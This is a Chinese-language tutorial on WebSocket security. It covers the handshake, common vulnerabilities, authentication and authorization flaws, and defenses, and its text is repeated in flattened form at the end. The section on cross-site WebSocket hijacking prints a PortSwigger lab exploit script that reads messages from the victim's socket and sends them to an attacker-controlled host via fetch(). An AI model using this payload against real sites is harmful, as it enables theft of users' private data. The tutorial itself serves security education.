WebSocket安全性分析
字数 1538 2025-08-10 20:35:54

WebSocket安全性分析教学文档

1. WebSocket简介

WebSocket是HTML5的一种新的网络传输协议,位于OSI模型的应用层,可在单个TCP连接上进行全双工通信。WebSocket基于TCP协议之上,与HTTP协议有良好的兼容性。

  • 协议标识符:ws(未加密)或wss(加密)
  • 主要特点:全双工通信,低延迟
  • 与HTTP的区别:
    • HTTP是请求-响应式,WebSocket是双向通信
    • HTTP1.1开始支持TCP连接复用,WebSocket本身就是长连接

2. WebSocket通信建立过程

2.1 客户端创建连接

var ws = new WebSocket("wss://normal-website.com/chat");

2.2 握手过程

WebSocket通过HTTP协议发起握手请求,服务器同意后完成三次握手建立连接。

请求头关键字段

  • Connection: Upgrade
  • Upgrade: websocket
  • Sec-WebSocket-Version: 通常为13
  • Sec-WebSocket-Key: Base64编码的随机值(非认证用途)

响应头关键字段

  • Sec-WebSocket-Accept: 包含对Sec-WebSocket-Key的哈希值,用于防止错误配置或缓存代理误导

2.3 通信过程

建立连接后,客户端和服务端可以双向发送消息:

ws.send("hello websocket");

消息内容可以是任何格式,现代应用通常使用JSON发送结构化数据。

3. WebSocket使用场景

基于全双工、低延迟特性,适用于:

  • 实时聊天应用
  • 弹幕系统
  • 协同编辑工具
  • 股票报价实时更新
  • 位置更新服务
  • 直播实况

4. WebSocket安全性分析

WebSocket本身是一种通信协议,不解决Web应用安全问题,HTTP协议中的安全问题在WebSocket中同样存在。

4.1 常规漏洞

用户输入可控的请求数据如果没有进行充分校验,可能导致:

  • XSS(跨站脚本攻击)
  • SQL注入
  • RCE(远程代码执行)

利用方式:通过抓包重放,修改请求值

4.2 权限认证问题

WebSocket协议未规定身份认证机制,服务器可采用:

  • Cookie认证
  • HTTP基础认证
  • TLS身份认证

安全问题

  • 认证实现问题与HTTP相同
  • 示例漏洞:CVE-2015-0201(Spring框架SockJS客户端生成可预测会话ID)

4.3 授权问题

WebSocket协议未指定授权方式,依赖开发者实现,存在:

  • 垂直越权
  • 水平越权

4.4 跨站WebSocket劫持(CSWSH)

全称:Cross-site WebSocket Hijacking

漏洞条件

  • WebSocket握手仅依赖HTTP cookie
  • 不包含CSRF token或其他不可预测值

判断方法
检查握手请求是否仅依赖session token进行会话处理

利用示例(PortSwigger靶场):

  1. 确认仅依赖cookie进行会话处理
  2. 构造恶意页面建立WebSocket连接
  3. 发送特定指令(如'READY')获取敏感数据
  4. 将数据外传到攻击者服务器

利用代码示例

<script>
var ws = new WebSocket("wss://web-security-academy.net/chat");
ws.addEventListener('open', function(event) {
    ws.send('READY');
});
ws.onmessage = function(event) {
    fetch('https://you-site.net/?log'+event.data, {mode: 'no-cors'});
};
</script>

5. WebSocket安全防护措施

  1. 输入输出验证

    • 严格验证所有输入数据
    • 对输出进行适当编码
  2. 握手过程保护

    • 使用CSRF Token
    • 添加请求头令牌
  3. 加密通信

    • 使用wss://协议(基于TLS)
  4. 授权控制

    • 在服务器端实施严格的授权检查
    • 防止垂直和水平越权
  5. Origin验证

    • 验证客户端发来的Origin头
    • 注意:Origin头可以被伪造,不能作为唯一防护措施

6. 参考资源

  1. FreeBuf WebSocket安全分析文章
  2. FreeBuf WebSocket漏洞文章
  3. PortSwigger Web Security Academy实验室
WebSocket安全性分析教学文档 1. WebSocket简介 WebSocket是HTML5的一种新的网络传输协议,位于OSI模型的应用层,可在单个TCP连接上进行全双工通信。WebSocket基于TCP协议之上,与HTTP协议有良好的兼容性。 协议标识符:ws(未加密)或wss(加密) 主要特点:全双工通信,低延迟 与HTTP的区别: HTTP是请求-响应式,WebSocket是双向通信 HTTP1.1开始支持TCP连接复用,WebSocket本身就是长连接 2. WebSocket通信建立过程 2.1 客户端创建连接 2.2 握手过程 WebSocket通过HTTP协议发起握手请求,服务器同意后完成三次握手建立连接。 请求头关键字段 : Connection: Upgrade Upgrade: websocket Sec-WebSocket-Version : 通常为13 Sec-WebSocket-Key : Base64编码的随机值(非认证用途) 响应头关键字段 : Sec-WebSocket-Accept : 包含对 Sec-WebSocket-Key 的哈希值,用于防止错误配置或缓存代理误导 2.3 通信过程 建立连接后,客户端和服务端可以双向发送消息: 消息内容可以是任何格式,现代应用通常使用JSON发送结构化数据。 3. WebSocket使用场景 基于全双工、低延迟特性,适用于: 实时聊天应用 弹幕系统 协同编辑工具 股票报价实时更新 位置更新服务 直播实况 4. WebSocket安全性分析 WebSocket本身是一种通信协议,不解决Web应用安全问题,HTTP协议中的安全问题在WebSocket中同样存在。 4.1 常规漏洞 用户输入可控的请求数据如果没有进行充分校验,可能导致: XSS(跨站脚本攻击) SQL注入 RCE(远程代码执行) 利用方式 :通过抓包重放,修改请求值 4.2 权限认证问题 WebSocket协议未规定身份认证机制,服务器可采用: Cookie认证 HTTP基础认证 TLS身份认证 安全问题 : 认证实现问题与HTTP相同 示例漏洞:CVE-2015-0201(Spring框架SockJS客户端生成可预测会话ID) 4.3 授权问题 WebSocket协议未指定授权方式,依赖开发者实现,存在: 垂直越权 水平越权 4.4 跨站WebSocket劫持(CSWSH) 全称:Cross-site WebSocket Hijacking 漏洞条件 : WebSocket握手仅依赖HTTP cookie 不包含CSRF token或其他不可预测值 判断方法 : 检查握手请求是否仅依赖session token进行会话处理 利用示例 (PortSwigger靶场): 确认仅依赖cookie进行会话处理 构造恶意页面建立WebSocket连接 发送特定指令(如'READY')获取敏感数据 将数据外传到攻击者服务器 利用代码示例 : 5. WebSocket安全防护措施 输入输出验证 : 严格验证所有输入数据 对输出进行适当编码 握手过程保护 : 使用CSRF Token 添加请求头令牌 加密通信 : 使用wss://协议(基于TLS) 授权控制 : 在服务器端实施严格的授权检查 防止垂直和水平越权 Origin验证 : 验证客户端发来的Origin头 注意:Origin头可以被伪造,不能作为唯一防护措施 6. 参考资源 FreeBuf WebSocket安全分析文章 FreeBuf WebSocket漏洞文章 PortSwigger Web Security Academy实验室